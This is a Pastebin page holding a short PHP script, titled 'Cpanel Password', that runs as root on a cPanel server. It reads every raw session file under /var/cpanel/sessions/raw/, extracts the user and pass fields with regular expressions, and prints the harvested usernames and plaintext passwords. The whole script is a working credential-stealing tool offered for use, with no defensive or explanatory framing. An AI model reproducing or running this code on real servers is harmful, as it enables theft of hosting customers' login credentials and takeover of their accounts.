Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/local/cpanel/3rdparty/bin/php
- <?php
- echo "
- [*]-----------------------------------------------------------------------[*]
- [+] Script Name : Cpanel Password
- [+] By : RAB3OUN
- [*]-----------------------------------------------------------------------[*]
- \n";
- if(getmyuid() != 0){ die('u need 2 be root to run this script'); }
- foreach(glob('/var/cpanel/sessions/raw/*') as $file){
- $content = file_get_contents($file);
- if(preg_match("/user=(.*)/" , $content , $matches1) && preg_match("/pass=(.*)/" , $content , $matches2)){
- $results[] = "USER: {$matches1[1]}\nPASS: {$matches2[1]}\n\n";
- }
- }
- $results = array_unique($results);
- echo implode('',$results);
- ?>
Add Comment
Please, Sign In to add comment